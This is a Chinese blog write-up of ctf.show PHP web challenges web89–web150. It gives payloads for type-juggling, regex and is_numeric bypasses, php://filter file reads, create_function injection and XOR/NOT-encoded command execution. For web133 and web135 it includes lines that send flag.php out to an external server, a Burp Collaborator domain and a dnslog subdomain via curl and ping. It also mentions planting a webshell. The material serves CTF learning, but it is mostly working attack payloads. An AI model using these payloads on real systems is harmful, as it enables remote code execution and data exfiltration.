web89

利用intval的这个特性:
在这里插入图片描述

非空的数组会返回1,因此利用数组绕过。

web90

两种方式:

?num=4476a
?num=0x117c


web91

考察了preg_match的/m模式。

默认的正则开始"^“和结束”$“只是对于正则字符串如果在修饰符中加上"m”,那么开始和结束将会指字符串的每一行:每一行的开头就是"^",结尾就是"$"。

因此?cmd=php%0a1即可

web92

在这里插入图片描述

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

第一反应是进制绕过:?num=0x117c,确实可以。
看了一下hint,原来除了0x,0,等,还有e这个特殊的东西,也就是科学计数法。

intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123 其实不需要是e其他的字母也可以

在弱类型比较的时候,4476e123是科学计数法4476*10^123,而在intval函数中,遇到字母就停止读取,因此是4476,成功绕过,非常巧妙。

web93

和之前一样,但是过滤了字母,所以16进制0x不行,但是可以用8八进制:

?num=010574

web94

必须可以找到0但是不能在首位,而且不能有字母,因此进制绕过不行。
我想的是拿特殊字符:

4476,0

确实可以,除了逗号,其他的字符基本都可以。看了一下hint:

在93的基础上过滤了开头为0的数字 这样的话就不能使用进制转换来进行操作 我们可以使用小数点来进行操作。这样通过intval()函数就可以变为int类型的4476 ?num=4476.0

思路基本一样。

web95

利用八进制,但是前面需要加东西。经过测试,加号和空格可以,加号比较好理解,但是空格为什么可以我也很迷。。。

?num= 010574
?num=+010574

web96

还是自己太菜了,一些重要的小trick在关键时刻想不起来。

?u=/var/www/html/flag.php
?u=./flag.php
?u=php://filter/resource=flag.php

利用伪协议来绕过这个姿势在很多环境中都可能有妙用。

web97

md5的老套路了:

a[]=1&b[]=2

web98

一开始我没看懂&是啥意思,但是做出来了,看了一眼WP才突然想起来这是取地址的意思(应该吧,我照着C语言的&理解的)。
这题中间的两行代码没什么用,最终payload如下:

在这里插入图片描述

web99

in_array函数的漏洞:
在这里插入图片描述

因为没有设置第三个参数,所以默认是弱类型比较,碰运气试数字.php,比如1.php,运气好就可以写进马。

web100

以前还真没怎么注意过 and。。原来还是运算符顺序的问题:
在这里插入图片描述

所以我们只要让v1是is_numeric就可以了。
这题的预期解是利用PHP中的反射类ReflectionClass,因为已经提示了flag在ctfshow这个类里,payload如下:

?v1=1&v2=echo new ReflectionClass&v3=;

关于反射类,羽师傅的WP里给出了这个例子,以供学习:

<?php
class A{
public static $flag="flag{123123123}";
const  PI=3.14;
static function hello(){
    echo "hello</br>";
}
}
$a=new ReflectionClass('A');


var_dump($a->getConstants());  获取一组常量
输出
 array(1) {
  ["PI"]=>
  float(3.14)
}

var_dump($a->getName());    获取类名
输出
string(1) "A"

var_dump($a->getStaticProperties()); 获取静态属性
输出
array(1) {
  ["flag"]=>
  string(15) "flag{123123123}"
}

var_dump($a->getMethods()); 获取类中的方法
输出
array(1) {
  [0]=>
  object(ReflectionMethod)#2 (2) {
    ["name"]=>
    string(5) "hello"
    ["class"]=>
    string(1) "A"
  }
}

当然因为这题没有什么过滤,所以命令执行也是可以的:

?v1=1&v2=system("ls")/*&v3=*/;

可以说干啥都行。

web101

修复了上一题的非预期,还是用反射类即可。

web102

我一看到substr($v2,2)就知道肯定考十六进制绕过is_numeric,想着随便绕,然后我发现了php7的环境,一脸懵逼。
想了一下思路,可以用伪协议的base64把一些<? ?> ; () # [] 这些符号变成数字大小写字母啥的,回调函数那里可以用一些进制转换的函数,不过我忘记了hex2bin。。。然后就卡住了。

看了一下WP,思路还是没错了,不过就是忘记了hex2bin这个函数:
在这里插入图片描述
如何绕过is_numeric呢?利用e,科学计数法就可以了,不过就需要找构造是纯数字和e的,比较难,放一下大师傅的payload:

$a='<?=`cat *`;';
$b=base64_encode($a);  // PD89YGNhdCAqYDs=
$c=bin2hex($b);      //这里直接用去掉=的base64
输出   5044383959474e6864434171594473

带e的话会被认为是科学计数法,可以通过is_numeric检测。
大家可以尝试下去掉=和带着=的base64解码出来的内容是相同的。因为等号在base64中只是起到填充的作用,不影响具体的数据内容。

在这里插入图片描述

web103

同上

web104

v1和v2传相同的值都行吧。。。0限制的题吗。。出错了吧。。。

web105

变量覆盖,利用die输出$error或者$suces,之前把$flag的覆盖给他们。
通过error输出:
在这里插入图片描述

通过suces输出:
在这里插入图片描述
ba$flag给$feng,然后让$_POST[‘flag’]和$flag都为null,$suces=$feng即可。

web106

没啥好说的,都是弱类型比较,去数组绕过,0e绕过或者sha1碰撞。

web107

在这里插入图片描述
parse_str将字符串解析成多个变量。

web108

利用ereg函数的漏洞:00截断。%00截断及遇到%00则默认为字符串的结束
所以构造如下:

?c=a%00778

web109

因为只要有字母就行,所以利用PHP已有的类闭合一下,然后构造命令执行即可。

?v1=Exception();system("ls");//&v2=a
?v1=ReflectionClass&v2=system("ls")
?v1=ReflectionClass("PDO");system("ls");//&v2=a

中间那个,可以不闭合的原理就是因为先执行的system,然后才报的错。你可以理解成phpinfo(system("ls"));,先执行的system。

web110

又是姿势盲区,考察的是FilesystemIterator类的使用,简单的使用参考羽师傅的图片:
在这里插入图片描述
获取当前的目录则可以用getcwd函数,所以payload如下:

?v1=FilesystemIterator&v2=getcwd

缺陷是如果flag的文件不在第一位的话,就不能得到这个文件名。而且这个也没法读文件,所以这题的flag文件和之前一样都是.txt。

web111

学完就忘。。利用PHP的超全局变量$GLOBALS
在这里插入图片描述

?v1=ctfshow&v2=GLOBALS

web112

绕过is_file,然后highlight_file,很明显用伪协议。

php://filter/resource=flag.php

hint中还有这些
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php

web113

还是姿势盲区,payload如下:

/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php 

这个姿势应该是PHP的一个比较新的特性,在WMCTF2020里出了一题来考它:

<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
  require_once $_GET['file'];
}

这里使用的是PHP最新版的小Trick,require_once包含的软链接层数较多事 once 的 hash 匹配会直接失效造成重复包含

而/proc/self/root指向的就是根目录/,具体这种姿势的底层的原理就不得而知了,还是能力不够,没法深入到那种程度,现在自己会用就行。至于为什么这个姿势也可以用来绕过is_file的检验,可能底层原理是类似的吧。

web114

没过滤php://filter。。。。

web115

不太会,看了一下羽师傅的WP,写个PHPfuzz出来。

<?php

for($i=0;$i<=128;$i++){
    $str=chr($i)."1";
    if(is_numeric($str)){
        echo urlencode(chr($i))."<br>";
    }
}
<?php

for($i=0;$i<=128;$i++){
    $str=chr($i)."1";
    if(is_numeric($str)&& trim($str)!=='1'){
        echo urlencode(chr($i))."<br>";
    }
}

在这里插入图片描述
只有%0c符合条件:

?num=%0c36

其实这也是一种思路,对于绕过,如果不知道怎么绕过就拿ASCII码把所有字符跑一遍。

web123

比较难的地方就是$_POST['CTF_SHOW.COM']的构造,想构造出.,需要前面带上[,后面用.就可以不变成_。当然也可以用脚本跑出来。
最终payload如下:

CTF_SHOW=1&CTF[SHOW.COM=1&fun=extract($_POST)&fl0g=flag_give_me
CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag

web125

才注意到那个$_SERVER['argv']
在这里插入图片描述

参考一下羽师傅博客:

1、cli模式(命令行)下

	第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数

2、web网页模式下

	在web页模式下必须在php.ini开启register_argc_argv配置项
	
    设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果

    这时候的$_SERVER[‘argv’][0] = $_SERVER[QUERY_STRING]

    $argv,$argc在web模式下不适用

可以在本地开启register_argc_argv后测试一下:

<?php
var_dump($_SERVER['argv']);

在这里插入图片描述
因此可以把代码写到get的查询语句中,然后eval($a[0])执行即可。
在这里插入图片描述
看了一下羽师傅的博客,本题的预期解是这样:

get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

在这里插入图片描述
可以用加号+进行分隔,从而使得$_SERVER['argv']这个array不仅仅只有[0]。

web126

同上

web127

对_url编码一次即可,$_SERVER['QUERY_STRING'];获取的查询语句是服务端还没url解码的,所以url编码绕过即可:

?ctf%5fshow=ilove36d

web128

又是姿势盲区,是gettext拓展的使用:

<?php
echo gettext("phpinfo");
结果  phpinfo

echo _("phpinfo");
结果 phpinfo

在开启该拓展后 _() 等效于 gettext()
所以有了gettext,直接构造即可:

?f1=_&f2=get_defined_vars

web129

构造的f中需要有ctfshow,但是又不影响读flag.php,姿势还是挺多的:

?f=php://filter/ctfshow|/resource=flag.php
?f=./ctfshow/../flag.php

web130

看到这个正则匹配:if(preg_match('/.+?ctfshow/is', $f)){,比较容易想到回溯,因为让我绕我也想不出来怎么去绕过。。。不过回溯肯定可以。

学习一下P神的博客:PHP利用PCRE回溯次数限制绕过某些安全限制

import requests

url='http://f94875cc-6b28-46e2-a59c-4ad652d03be2.chall.ctf.show/'
data={
    'f':'a'*1000000+'ctfshow'
}
r=requests.post(url=url,data=data).text
print(r)

看了一下羽师傅的WP,原来还能数组绕过。。。是个非预期:

f[]=1

stripos应用于数组的时候会返回null,null!==false,所以非预期了。

又看了一眼hint,我又震惊了:f=ctfshow。发生甚么事了?
又查了一下,原来对这正则表达式的理解还是不太对:/.+?ctfshow/is
在/s模式下,.匹配任意字符,+表示重复一次或更多次,没错是至少一次!而后面加个?表示懒惰模式,+?表示重复1次或更多次,但尽可能少重复。当然懒惰模式并不影响解题思路,总之就是ctfshow前面必须得有字符才能匹配到,所以直接f=ctfshow就可以了。。

web131

回溯。见上。

web132

在/admin/index.php
因为||的优先级低于&&所以可以这样理解:

if(($code === mt_rand(1,0x36D) && $password === $flag )||( $username ==="admin")){

所以满足username==="admin"就可以了。

web133

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("6个字母都还不够呀?!");
    }
}

一个比较有意思的姿势,因为eval前6个字母,所以基本上不可能执行出什么命令,所以这样:

?F=`$F` ;ls;

取前6个字母正好是`$F` ;因此相当于执行:

eval(`$F` ;);
``$F` ;ls;`

因此后面的命令可以随意构造。不过比较麻烦的就是反引号是没有回显的,需要弹shell或者用curl。这题bash弹shell失败了,所以只能curl。
我curl的方式是这样:

?F=`$F` ;curl http://118.***.***.***/`tail -n 1 flag.php|base64`;

因为flag.php内容太多,直接get的话显示不全,而且会在传输过程中丢失一些字符,所以只读最后一行,然后base64加密。

看了一下羽师傅的WP,学习到了一种用burp suite进行curl回显的方式:

payload: curl -X POST -F xx=@flag.php http://xxx

在这里插入图片描述
在这里插入图片描述

?F=`$F` ;curl -X post -F xx=@flag.php http://o1qcs5wj2bwp1c2phocymh1k1b71vq.burpcollaborator.net;

得到flag:
在这里插入图片描述
看来burp suite其实还有许许多多的有用的功能呢。

web134

@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);

既然是extract的$_POST,就利用parse_str把$_POST给覆盖掉,payload:

?_POST[key1]=36d&_POST[key2]=36d

web135

其实跟没过滤没啥区别,既然不弹shell也不curl,直接在文件系统里写就完了。
这里提供2个简单的思路,当然其他的思路肯定也可以:

?F=`$F` ;cp flag.php 2.txt;
?F=`$F` ;uniq flag.php>4.txt;

又看了一下羽师傅的WP,又学到新东西了,就是通过ping来得到命令执行的结果,应对命令执行无回显又有一种新姿势了。不过好像在135题这个环境不行,在133题的环境里可以,我复现一下。

利用ping的原理就是DNS请求:

如果请求的目标不是ip地址而是域名,那么域名最终还要转化成ip地址,就肯定要做一次域名解析请求。那么假设我有个可控的二级域名,那么它发出三级域名解析的时候,我这边是能够拿到它的域名解析请求的,这就相当于可以配合DNS请求进行命令执行的判断,这一般就被称为dnslog。(要通过dns请求即可通过ping命令,也能通过curl命令,只要对域名进行访问,让域名服务器进行域名解析就可实现)

利用工具:DNSLOG

?F=`$F` ;ping `awk '/flag/' flag.php`.oywkie.dnslog.cn

web136

又从羽师傅的题那里学习到了新东西了,这题主要问题就是ban了.和<>,因为ban了.,所以很难反弹shell,那些命令的ban并没有什么用,用’’,"",``都可以绕过。
又学习到了把命令执行的内容写入文件的一种新姿势:

ls /|tee 1

就可以把ls /执行的结果写入1这个文件中,剩下的就是正常的命令执行了。

web137

call_user_func这个回调函数的简单使用,确实没难度:

ctfshow=ctfshow::getFlag

web138

相当于过滤了:,没法::这样使用静态方法了,看了一下WP,又学习到了新的东西,其实还是对PHP文档不熟,这是PHP文档下面的例子:
在这里插入图片描述
call_user_func函数里面可以传数组,第一个元素是类名或者类的一个对象,第二个元素是类的方法名,同样可以调用。

ctfshow[0]=ctfshow&ctfshow[1]=getFlag

web139

盲打。。。暂时放一下。。

web140

太开放了,只要让intval($code)是0就可以,实际上乱弄一些函数都可以,最后得到的结果是null同样符合条件,所以这题过于开放了:

f1=getallheaders&f2=end

等等等。。。。

web141

又学习到新东西了。

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/^\W+$/', $v3)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

自己还是太菜了。首先是那个正则表达式,\W是反义,匹配任意不是字母,数字,下划线,汉字的字符。这里可以无数字字母rce,但是我没想到。。。太菜了。。。
既然v3可以无数字字母rce,正常是直接构造就可以的,但是这题有个return。php官方文档写着:
在这里插入图片描述
return会中止当前字符串的执行。什么意思呢,看这两个例子:

eval("phpinfo();return 1;");
eval("return 1;phpinfo();")

第一句会执行phpinfo(),但是第二句不行,因为return后就中止了。
但是这样可以:eval("return phpinfo();")
因此v3肯定是命令执行,但是v1v2又怎么弄呢?PHP里面数字是可以和一些命令进行运算,例如1-phpinfo()-1,这样仍然可以执行phpinfo(),因此构造就很明显了。中单的v3用无数字字母rce就可以:

?v1=1&v2=1&v3=-(%80%80%80%80%80%80^%F3%F9%F3%F4%E5%ED)(%80%80%80%80%80^%E3%E1%F4%A0%AA)-

web142

v1=0。。。确实没难度。

web143

没ban异或,那就用异或

?v1=1&v2=1&v3=^(%80%80%80%80%80%80^%F3%F9%F3%F4%E5%ED)(%80%80%80%80%80^%E3%E1%F4%A0%AA)^

web144

随便构造就行:

?v1=1&v2=-(%80%80%80%80%80%80^%F3%F9%F3%F4%E5%ED)(%80%80%80%80%80^%E3%E1%F4%A0%AA)&v3=1

web145

取反和或都没ban:

?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D5)|

不过这题的考点其实是三目运算符。。。

?v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D5):

因为ban的少了,所以会有非预期,不过其实都差不多。

web146

同上

?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D5)|

web147

是P神代码审计小密圈2周年的一道题目,考点也比较明显,是create_function的代码注入,参考如下:解析create_function() && 复现
原理就是}闭合原来的函数,然后执行命令,然后再把多余的}给注释掉就可以了。但是这题相对难办的是这个正则:

if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {

正常的思路肯定就是在create_function的最前面或者尾部fuzz所有的ASCII字母,可以发现\是可以成功的。
那么为什么呢?这涉及到了php命令空间,就类似linux的路径一样,flag.txt就是在当前目录下,/flag.txt是根目录下的。而在php中,可以自己定义命名空间,但是最根本,最大的命名空间就是\,正常我们调用create_function函数,其实是调用的\这个命名空间下的函数,即\create_function,带上\相当于linux中的绝对路径的写法。因此最终payload如下:

?show=}system("cat flag.php");/*
ctf=\create_function

web148

没过滤异或,直接异或构造就完事了。

?code=(%80%80%80%80%80%80%80%80%80%80%80%80%80%80%80%80^%E7%E5%F4%DF%E3%F4%E6%F3%E8%EF%F7%DF%E6%EC%B0%E7)();

web149

比较明显的条件竞争,但是条件竞争到的概率太低了,可能和网速和服务器有关系,我这跑了几分钟都没竞争到,想了想不如直接往index.php写马,就可以了。

web150

没啥好说的,2个非预期一个是包含日志文件,另一个是包含session文件,可以自己尝试,这题主要是预期解,利用phpinfo。
参考文章:
PHP文件包含漏洞(利用phpinfo)

不过改预期解的那个exp老是改不好。。。暂时咕咕咕了这题。

Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐